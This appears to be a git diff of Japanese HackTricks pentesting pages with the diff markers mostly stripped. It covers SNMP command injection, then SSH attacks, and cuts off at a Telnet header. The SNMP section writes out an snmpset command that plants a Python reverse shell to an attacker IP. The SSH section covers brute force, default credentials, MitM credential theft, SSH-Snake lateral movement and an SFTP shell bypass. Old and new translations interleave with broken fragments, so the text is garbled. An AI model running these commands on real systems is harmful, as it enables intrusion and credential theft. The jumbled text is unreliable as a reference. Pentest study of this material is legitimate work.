'nsExtendArgs."evilcommand"' = 'hello world'
```
## コマンドの実行のための注入
## コマンドの実行のためのインジェクション
SNMPサービスで実行するコマンドを注入するには、呼び出されるバイナリ/スクリプトが存在し、実行可能であることが必要です。**`NET-SNMP-EXTEND-MIB`** は実行ファイルへの絶対パスの提供を要求します。
SNMPサービスで実行するためのコマンドをインジェクトするには、呼び出されるバイナリ/スクリプトの存在と実行可能性が必要です。**`NET-SNMP-EXTEND-MIB`**は、実行可能ファイルへの絶対パスの提供を義務付けています。
注入されたコマンドの実行を確認するには、`snmpwalk` コマンドを使用してSNMPサービスを列挙することができます。**出力にはコマンドとその関連詳細が表示されます**。これには絶対パスが含まれます:
インジェクトされたコマンドの実行を確認するために、`snmpwalk`コマンドを使用してSNMPサービスを列挙することができます。**出力にはコマンドとそれに関連する詳細が表示されます**。絶対パスも含まれます。
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## 実行されるインジェクトされたコマンド
## インジェクトされたコマンドの実行
**インジェクトされたコマンドが読み込まれると、実行されます**。この挙動は **`run-on-read()`** として知られています。コマンドの実行はsnmpwalkの読み取り中に観察することができます。
**インジェクトされたコマンドが読み取られると、実行されます**。この動作は**`run-on-read()`**として知られています。コマンドの実行はsnmpwalkの読み取り中に観察できます。
### SNMPを使用してサーバーシェルを獲得する
### SNMPを使用したサーバーシェルの取得
サーバーを制御し、サーバーシェルを獲得するために、mxrchによって開発されたpythonスクリプトを使用できます。[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)から利用可能です。
サーバーを制御し、サーバーシェルを取得するために、mxrchによって開発されたPythonスクリプトを使用できます。[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)から利用可能です。
または、SNMPに特定のコマンドをインジェクトすることで手動でリバースシェルを作成することができます。このコマンドはsnmpwalkによってトリガーされ、攻撃者のマシンへのリバースシェル接続を確立し、被害者のマシンを制御することを可能にします。
れを実行するために必要なものをインストールできます:
また、特定のコマンドをSNMPにインジェクトしてリバースシェルを手動で作成することもできます。このコマンドは、snmpwalkによってトリガーされ、攻撃者のマシンにリバースシェル接続を確立し、被害者マシンを制御することができます。
の操作を実行するための前提条件をインストールできます:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
@ -53,20 +53,20 @@ sudo python3 -m pip install -r requirements.txt
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
# 参考文献
## 参考文献
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**してください**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください
</details>

View file

@ -1,28 +1,22 @@
# 22 - SSH/SFTPのペネトレーションテスト
# 22 - SSH/SFTPのペンテスト
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう</strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有する**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングのキャリア**に興味があり、ハッカブルではないものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
{% embed url="https://www.stmcyber.com/careers" %}
## 基本情報
**SSHまたはSecure ShellまたはSecure Socket Shell**は、ユーザーが保護されていないネットワークを介してコンピュータに**安全にアクセスするための方法を提供するネットワークプロトコルです。**
**SSHSecure ShellまたはSecure Socket Shell**は、セキュアな接続を可能にするネットワークプロトコルであり、セキュリティの保護されていないネットワークを介してコンピュータに安全に接続します。リモートシステムにアクセスする際にデータの機密性と整合性を維持するために重要です。
**デフォルトポート:** 22
```
@ -30,42 +24,42 @@ HackTricksをサポートする他の方法:
```
**SSHサーバー:**
* [openSSH](http://www.openssh.org) OpenBSD SSH、BSD、Linuxディストリビューション、およびWindows 10以降のWindowsに搭載
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) メモリとプロセッサリソースが少ない環境向けのSSH実装、OpenWrtに搭載
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) Windows向けのSSH実装、クライアントは一般的に使用されるが、サーバーの使用は珍しい
* [CopSSH](https://www.itefix.net/copssh) Windows向けのOpenSSH実装
* [openSSH](http://www.openssh.org) OpenBSD SSH、BSD、Linuxディストリビューション、およびWindowsWindows 10以降に搭載されています
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) 低メモリおよびプロセッサリソース環境向けのSSH実装で、OpenWrtに搭載されています
* [PuTTY](https://www.chiark.greenend.org.uk/\~sgtatham/putty/) Windows向けのSSH実装で、クライアントは一般的に使用されていますが、サーバーの使用は稀です
* [CopSSH](https://www.itefix.net/copssh) Windows向けのOpenSSH実装
**SSHライブラリ (サーバー側の実装):**
**SSHライブラリ(サーバーサイド実装):**
* [libssh](https://www.libssh.org) SSHv2プロトコルを実装するマルチプラットフォームCライブラリで、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)、[R](https://github.com/ropensci/ssh)のバインディングがある; KDEのsftpやGitHubのgit SSHインフラストラクチャで使用されている
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) ANSI Cで書かれたSSHv2サーバーライブラリで、組み込み、RTOS、リソース制約のある環境を対象としている
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD javaライブラリはApache MINAに基づいてい
* [libssh](https://www.libssh.org) SSHv2プロトコルを実装したマルチプラットフォームのCライブラリで、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)、および[R](https://github.com/ropensci/ssh)向けのバインディングがあります。KDEではsftpに使用され、GitHubではgit SSHインフラに使用されています
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) ANSI Cで記述されたSSHv2サーバーライブラリで、組み込み、RTOS、およびリソース制約の環境向けです
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD javaライブラリはApache MINAに基づいています
* [paramiko](https://github.com/paramiko/paramiko) Python SSHv2プロトコルライブラリ
## 列挙
### バナーグラビング
### バナーの取得
```bash
nc -vn <IP> 22
```
### 自動化されたssh-audit
ssh-auditはSSHサーバーとクライアントの設定監査ツールです。
ssh-auditはsshサーバーおよびクライアントの構成監査のためのツールです。
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)は[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)からの更新されたフォークです。
**特徴:**
**機能:**
* SSH1とSSH2プロトコルサーバーのサポート;
* SSHクライアント設定の分析;
* バナーの取得、デバイスまたはソフトウェアオペレーティングシステムの認識、圧縮の検出;
* 鍵交換、ホストキー、暗号化メッセージ認証コードアルゴリズムの収集;
* アルゴリズム情報の出力(利用可能な期、削除/無効化、安全でない/弱い/レガシーなど);
* SSH1およびSSH2プロトコルサーバーサポート;
* SSHクライアント構成の分析;
* バナーの取得、デバイスまたはソフトウェアおよびオペレーティングシステムの認識、圧縮の検出;
* 鍵交換、ホストキー、暗号化およびメッセージ認証コードアルゴリズムの収集;
* アルゴリズム情報の出力(利用可能な期、削除/無効化、安全でない/弱い/レガシーなど);
* アルゴリズムの推奨事項の出力(認識されたソフトウェアバージョンに基づいて追加または削除);
* セキュリティ情報の出力関連する問題、割り当てられたCVEリストなど;
* アルゴリズム情報に基づいたSSHバージョンの互換性分析;
* OpenSSH、Dropbear SSH、libsshからの歴情報;
* LinuxWindowsで実行可能;
* アルゴリズム情報に基づいたSSHバージョンの互換性分析;
* OpenSSH、Dropbear SSH、libsshからの歴情報;
* LinuxおよびWindowsで実行可能;
* 依存関係なし
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -87,15 +81,13 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[アクションを見る (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### サーバーの公開SSHキー
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### 弱い暗号アルゴリズム
これはデフォルトで**nmap**によって発見されます。しかし、**sslcan**や**sslyze**を使用することもできます。
これはデフォルトで**nmap**によって発見されます。しかし、**sslscan**や**sslyze**を使用することもできます。
### Nmapスクリプト
```bash
@ -109,48 +101,46 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
* `ssh`
## ブルートフォース攻撃:ユーザー名、パスワード、プライベートキー
## Brute force usernames, passwords and private keys
### ユーザー名列挙
### ユーザー名列挙
OpenSSHの一部のバージョンでは、タイミング攻撃を利用してユーザーを列挙することができます。これを利用するためには、metasploitモジュールを使用できます
一部のOpenSSHバージョンでは、タイミング攻撃を使用してユーザーを列挙することができます。これを悪用するためにmetasploitモジュールを使用できます
```
msf> use scanner/ssh/ssh_enumusers
```
### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#ssh)
### [Brute force](../generic-methodologies-and-resources/brute-force.md#ssh)
一般的なsshクレデンシャルについては[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)と[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)、そして下記を参照してください
一般的なsshクレデンシャルは[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)と[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)にあります
### プライベートキー ブルートフォース
### プライベートキーの総当たり攻撃
もし使用可能なsshプライベートキーをいくつか知っている場合... 試してみましょう。nmapスクリプトを使用できます
使用可能なsshプライベートキーを知っている場合は、試してみましょう。nmapスクリプトを使用できます
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
またはMSF補助モジュール
またはMSF補助モジュール
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### 既知の悪質なキーはこちらで見つけることができます:
#### 既知の悪用された鍵はこちらで見つけることができます:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
#### 弱いSSHキー / Debian予測可能なPRNG
#### 弱いSSH鍵 / Debianの予測可能なPRNG
一部のシステムでは、暗号素材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キースペースが劇的に減少し、ブルートフォース攻撃が可能になる場合があります。弱いPRNGの影響を受けたDebianシステムで生成されたキーセットはこちらで利用可能です: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
一部のシステムには、暗号資料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、総当たり攻撃が可能な鍵空間が著しく減少する可能性があります。弱いPRNGによって影響を受けたDebianシステムで生成された事前生成された鍵セットはこちらで入手できます[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
被害者のマシンに有効なキーを探すために、こちらを調べるべきです。
被害者マシンの有効な鍵を検索するためにここを見ておくべきです。
### Kerberos
**crackmapexec**`ssh` プロトコルを使用して `--kerberos` オプションを使い **kerberos経由で認証** を行うことができます。\
**crackmapexec**は`ssh`プロトコルを使用して、`--kerberos`オプションを使用して**kerberos経由で認証**できます。\
詳細については`crackmapexec ssh --help`を実行してください。
## デフォルトの資格情報
| **Vendor** | **Usernames** | **Passwords** |
| **ベンダー** | **ユーザー名** | **パスワード** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
@ -169,51 +159,53 @@ Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms
## SSH-MitM
もし被害者がローカルネットワーク内にいて、ユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、これらの資格情報を盗むために **MitM攻撃を実行することができます:**
被害者がSSHサーバーにユーザー名とパスワードを使用して接続しようとしているローカルネットワークにいる場合、**MitM攻撃を実行して認証情報を盗む**ことができます:
**攻撃パス:**
**攻撃経路:**
* ユーザートラフィックが攻撃者のマシンにリダイレクトされる
* 攻撃者はSSHサーバーへの接続試みを監視し、それらを自身のSSHサーバーにリダイレクトする
* 攻撃者のSSHサーバーは、第一に、ユーザーのパスワードを含むすべての入力データを記録し、第二に、ユーザーが接続したい正当なSSHサーバーにコマンドを送信して実行し、その結果を正当なユーザーに返すように設定される
* **トラフィックリダイレクト:** 攻撃者は被害者のトラフィックを自分のマシンに転送し、SSHサーバーへの接続試行を**傍受**します。
* **傍受とログ取り:** 攻撃者のマシンは**プロキシ**として機能し、合法的なSSHサーバーであるかのように振る舞いながら、ユーザーのログイン詳細を**キャプチャ**します。
* **コマンド実行とリレー:** 最後に、攻撃者のサーバーはユーザーの資格情報を**記録**し、コマンドを本当のSSHサーバーに**転送**し、それらを**実行**し、結果をユーザーに**送り返します**。このプロセスはシームレスで合法的に見えるようになります。
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) は上記のことを正確に行います。
[**SSH MITM**](https://github.com/jtesta/ssh-mitm)は上記の内容を正確に実行します。
実際のMitMをキャプチャするためには、ARPスプーフィング、DNSスプーフィング、または [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/#spoofing) で説明されている他の技術を使用できます。
実際のMitMを実行するために、ARPスプーフィング、DNSスプーフィングなどの手法を使用することができます。[**ネットワークスプーフィング攻撃**](../generic-methodologies-and-resources/pentesting-network/#spoofing)で説明されている他の手法もあります。
## SSH-Snake
システムで発見されたSSHプライベートキーを使用してネットワークを横断し、各システムで各プライベートキーを新しいホストに使用したい場合は、[**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) が必要です。
発見されたSSHプライベートキーを使用してシステム上をトラバースし、新しいホストのために各プライベートキーを各システムで利用する場合、[**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake)が必要です。
SSH-Snakeは以下のタスクを自動的かつ再帰的に実行します:
SSH-Snakeは以下のタスクを自動的に再帰的に実行します:
1. 現在のシステムでSSHプライベートキーを見つける,
2. 現在のシステムでプライベートキーが受け入れられる可能性のあるホストや宛先user@hostを見つける,
3. 発見されたすべてのプライベートキーを使用してすべての宛先にSSHで接続を試みる,
4. 宛先に成功して接続した場合、接続されたシステムでステップ #1 - #4 を繰り返す.
1. 現在のシステムでSSHプライベートキーを見つける
2. 現在のシステムでプライベートキーが受け入れられる可能性のあるホストや宛先user@hostを見つける
3. 発見されたすべてのプライベートキーを使用してすべての宛先にSSHを試みる
4. 宛先に正常に接続された場合、接続されたシステムでステップ1〜4を繰り返す
それは完全に自己複製および自己伝播であり、完全にファイルレスです。
これは完全に自己複製および自己伝播し、完全にファイルレスです。
## 設定の誤設定
## 設定のミス構成
### Rootログイン
### ルートログイン
デフォルトでは、ほとんどのSSHサーバー実装はrootログインを許可しますが、このアカウントの資格情報が漏洩した場合、攻撃者は直接管理者権限を取得し、このアカウントに対するブルートフォース攻撃を行うことができるため、無効にすることが推奨されます。
SSHサーバーがデフォルトでルートユーザーログインを許可することは一般的ですが、これは重大なセキュリティリスクを引き起こします。**ルートログインを無効にする**ことは、サーバーを保護するための重要なステップです。この変更により、管理特権を持たない不正アクセスや総当たり攻撃を緩和することができます。
**openSSHでrootログインを無効にする方法:**
**OpenSSHでルートログインを無効にする方法:**
1. SSHサーバー設定を編集 `sudoedit /etc/ssh/sshd_config`
2. `#PermitRootLogin yes``PermitRootLogin no` に変更
3. 設定変更を考慮に入れる: `sudo systemctl daemon-reload`
4. SSHサーバーを再起動 `sudo systemctl restart sshd`
1. `sudoedit /etc/ssh/sshd_config`を使用して**SSH構成ファイルを編集**します
2. 設定を`#PermitRootLogin yes`から**`PermitRootLogin no`**に変更します。
3. `sudo systemctl daemon-reload`を使用して**構成を再読み込み**します
4. 変更を適用するためにSSHサーバーを再起動するには`sudo systemctl restart sshd`を使用します。
### SFTPブルートフォース
### SFTP総当たり攻撃
* [**SFTPブルートフォース**](../generic-methodologies-and-resources/brute-force.md#sftp)
* [**SFTP総当たり攻撃**](../generic-methodologies-and-resources/brute-force.md#sftp)
### SFTPコマンド実行
SFTP設定における一般的なSSHの誤設定は、しばしば見られます。ほとんどの場合、管理者はユーザーにファイルを共有するためのSFTPアクセスを提供したいと考えていますが、マシン上でリモートシェルを取得することは望んでいません。したがって、ユーザーを作成し、プレースホルダーシェル`/usr/bin/nologin` や `/usr/bin/false`を割り当て、ジェイル内にchrootすることでシェルアクセスやファイルシステム全体の悪用を防ぐことができると考えています。しかし、それは間違いです。**ユーザーは、デフォルトのコマンドやシェルが実行される前に、認証直後にコマンドを実行するよう要求することができます**。したがって、シェルアクセスを拒否するプレースホルダーシェルを回避するためには、(例えば `/bin/bash` などの)コマンドを先に実行するよう要求するだけでよいのです。
SFTPセットアップで一般的に見られるのは、管理者がリモートシェルアクセスを有効にせずにユーザー間でファイルを交換することを意図しているが、セキュリティ上の問題が残っていることです。ユーザーに対して非対話シェル`/usr/bin/nologin`)を設定し、特定のディレクトリに制限することであっても、セキュリティの抜け穴が残ります。**ユーザーは、指定された非対話シェルが引き継がれる前に、ログイン直後にコマンド(例:`/bin/bash`)の実行を要求することで**これらの制限を回避**することができます。これにより、意図されたセキュリティ対策が妨害され、不正なコマンド実行が可能になります。
[こちらの例](https://community.turgensec.com/ssh-hacking-guide/)から。
```bash
ssh -v noraj@192.168.1.94 id
...
@ -236,7 +228,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
以下は、ユーザー `noraj` のための安全なSFTP設定の例です`/etc/ssh/sshd_config` openSSH
以下は、ユーザー`noraj`のセキュアなSFTP構成の例です`/etc/ssh/sshd_config` openSSH:
```
Match User noraj
ChrootDirectory %h
@ -246,42 +238,40 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
この設定は、開始コマンドを強制してシェルアクセスを無効にし、TTYアクセスを無効にするだけでなく、あらゆる種類のポートフォワーディングやトンネリングも無効にすることで、SFTPのみを許可します。
この設定は、シェルアクセスを無効にして、開始コマンドを強制し、TTYアクセスを無効にするだけでなく、すべての種類のポート転送やトンネリングも無効にします。
### SFTPトンネリング
SFTPサーバーにアクセスできる場合、例えば一般的なポートフォワーディングを使用して、トラフィックをこれを介してトンネリングすることもできます。
SFTPサーバーへのアクセス権がある場合、一般的なポート転送を使用してトラフィックをトンネリングすることもできます。
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
### SFTP シンボリックリンク
**sftp** には "**symlink**" コマンドがあります。したがって、あるフォルダに**書き込み権限**がある場合、**他のフォルダ/ファイル**の**シンボリックリンク**を作成できます。おそらく chroot 内に閉じ込められているため、これは特に役に立たないかもしれませんが、**no-chroot** **サービス**から作成した**シンボリックリンク**に**アクセス**できる場合(例えば、ウェブからシンボリックリンクにアクセスできる場合)、ウェブを通じてシンボリックリンクされたファイルを**開く**ことができます。
**sftp** には **symlink** コマンドがあります。したがって、あるフォルダで **書き込み権限** がある場合、**他のフォルダ/ファイル** の **シンボリックリンク** を作成できます。おそらくあなたは **chroot****閉じ込められている** ため、これはあまり **特に役立たない** かもしれませんが、作成した **シンボリックリンク****no-chroot** **サービス** から **アクセス** できる場合(たとえば、ウェブからシンボリックリンクにアクセスできる場合)、**ウェブを介してシンボリックリンクされたファイルを開く** ことができます。
例えば、新しいファイル **"**_**froot**_**" から "**_**/**_**"** への**シンボリックリンク**を作成するには:
たとえば、新しいファイル **"froot"** から **"/"** への **シンボリックリンク** を作成するには:
```bash
sftp> symlink / froot
```
ファイル "_froot_" にウェブ経由でアクセスできる場合、システムのルートフォルダ ("/") をリストすることができます。
### 認証方法
高セキュリティ環境では、単純なパスワードベースの認証よりも、キーベースまたは二要素認証を有効にするのが一般的です。しかし、より強力な認証方法を有効にしても、より弱い方法を無効にしないことがよくあります。よくあるケースは、openSSHの設定で `publickey` を有効にし、デフォルトの方法として設定するが、`password` を無効にしないことです。そのため、SSHクライアントの詳細モードを使用すると、攻撃者はより弱い方法が有効であることを確認できます
高セキュリティ環境では、単純なパスワード認証よりも鍵ベース認証や二要素認証を有効にすることが一般的です。しかし、より強力な認証方法を有効にしつつも、より弱い認証方法を無効にしないケースがよく見られます。典型的なケースとして、openSSH構成で`publickey`を有効にし、デフォルトの方法として設定するが、`password`を無効にしないことがあります。したがって、SSHクライアントの冗長モードを使用することで、攻撃者はより弱い認証方法が有効になっていることを確認できます。
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
例えば、認証失敗の制限が設定されており、パスワード方式に到達する機会が決してない場合、`PreferredAuthentications` オプションを使用してこの方式を強制的に使用することができます。
たとえば、認証失敗の制限が設定されており、パスワードメソッドに到達する機会がない場合は、`PreferredAuthentications`オプションを使用して、このメソッドを強制的に使用することができます。
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
SSHサーバーの設定を確認することは、予想されるメソッドのみが許可されていることを確認するために必要です。クライアントの詳細モードを使用すると、設定の有効性を確認するのに役立ちます。
SSHサーバーの構成を確認することは重要です。予期されるメソッドのみが認可されていることを確認する必要があります。クライアントで詳細モードを使用すると、構成の効果を確認できます。
### 設定ファイル
### 構成ファイル
```bash
ssh_config
sshd_config
@ -290,23 +280,23 @@ ssh_known_hosts
known_hosts
id_rsa
```
## ファジング
## Fuzzing
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
* [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2)
## 参考文献
## References
* SSHを強化する方法に関する興味深いガイドは、[https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)で見つけることができます。
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
**ハッキングのキャリア**に興味があり、ハック不可能なものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## HackTricks 自動コマンド
## HackTricks Automatic Commands
```
Protocol_Name: SSH
Port_Number: 22
@ -326,14 +316,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details>

View file

@ -1,28 +1,28 @@
# 23 - Telnetのペネトレーションテスト
# 23 - ペンテスト Telnet
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary>
